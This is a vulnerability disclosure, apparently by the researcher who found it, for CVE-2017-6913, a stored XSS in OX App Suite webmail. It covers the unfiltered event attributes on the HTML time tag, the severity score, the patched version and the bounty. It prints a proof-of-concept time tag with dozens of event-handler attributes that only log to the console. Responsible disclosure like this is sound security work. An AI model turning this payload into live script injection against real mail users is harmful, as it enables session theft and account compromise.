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CVE-2017-6913

This is a vulnerability I found in open-xchange OX App Suite's webmail (https://www.open-xchange.com/) a while back.

Vulnerability details

The webmail was vulnerable to a stored XSS when opening an email, due to the event attributes of the HTML time tag not being properly filtered. Consequently, embedded HTML code such as the one that follows could run JavaScript on an unsuspecting target:

<time onafterprint="console.log('onafterprint')" onbeforeprint="console.log('onbeforeprint')" onbeforeunload="console.log('onbeforeunload')" onerror="console.log('onerror')" onhashchange="console.log('onhashchange')" onload="console.log('onload')" onmessage="console.log('onmessage')" onoffline="console.log('onoffline')" ononline="console.log('ononline')" onpagehide="console.log('onpagehide')" onpageshow="console.log('onpageshow')" onpopstate="console.log('onpopstate')" onresize="console.log('onresize')" onstorage="console.log('onstorage')" onunload="console.log('onunload')" onblur="console.log('onblur')" onchange="console.log('onchange')" oncontextmenu="console.log('oncontextmenu')" onfocus="console.log('onfocus')" oninput="console.log('oninput')" oninvalid="console.log('oninvalid')" onreset="console.log('onreset')" onsearch="console.log('onsearch')" onselect="console.log('onselect')" onsubmit="console.log('onsubmit')" onkeydown="console.log('onkeydown')" onkeypress="console.log('onkeypress')" onkeyup="console.log('onkeyup')" onclick="console.log('onclick')" ondblclick="console.log('ondblclick')" ondrag="console.log('ondrag')" ondragend="console.log('ondragend')" ondragenter="console.log('ondragenter')" ondragleave="console.log('ondragleave')" ondragover="console.log('ondragover')" ondragstart="console.log('ondragstart')" ondrop="console.log('ondrop')" onmousedown="console.log('onmousedown')" onmousemove="console.log('onmousemove')" onmouseout="console.log('onmouseout')" onmouseover="console.log('onmouseover')" onmouseup="console.log('onmouseup')" onmousewheel="console.log('onmousewheel')" onscroll="console.log('onscroll')" onwheel="console.log('onwheel')" oncopy="console.log('oncopy')" oncut="console.log('oncut')" onpaste="console.log('onpaste')" onabort="console.log('onabort')" oncanplay="console.log('oncanplay')" oncanplaythrough="console.log('oncanplaythrough')" oncuechange="console.log('oncuechange')" ondurationchange="console.log('ondurationchange')" onemptied="console.log('onemptied')" onended="console.log('onended')" onloadeddata="console.log('onloadeddata')" onloadedmetadata="console.log('onloadedmetadata')" onloadstart="console.log('onloadstart')" onpause="console.log('onpause')" onplay="console.log('onplay')" onplaying="console.log('onplaying')" onprogress="console.log('onprogress')" onratechange="console.log('onratechange')" onseeked="console.log('onseeked')" onseeking="console.log('onseeking')" onstalled="console.log('onstalled')" onsuspend="console.log('onsuspend')" ontimeupdate="console.log('ontimeupdate')" onvolumechange="console.log('onvolumechange')" onwaiting="console.log('onwaiting')" onshow="console.log('onshow')" ontoggle="console.log('ontoggle')">
Lorem ipsum dolor sit amet ...
</time>

An example of the XSS triggering:

XSS

Severity

This vulnerability was attributed a CVSS score of 5.3 by the vendor.

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Versions

The vulnerability has been patched from version 7.6.3-rev28 onwards.

Bounty

The vendor awarded me with a $500 bounty! Many thanks to them.

About

Details about CVE-2017-6913 - Stored XSS in open-xchange's webmail

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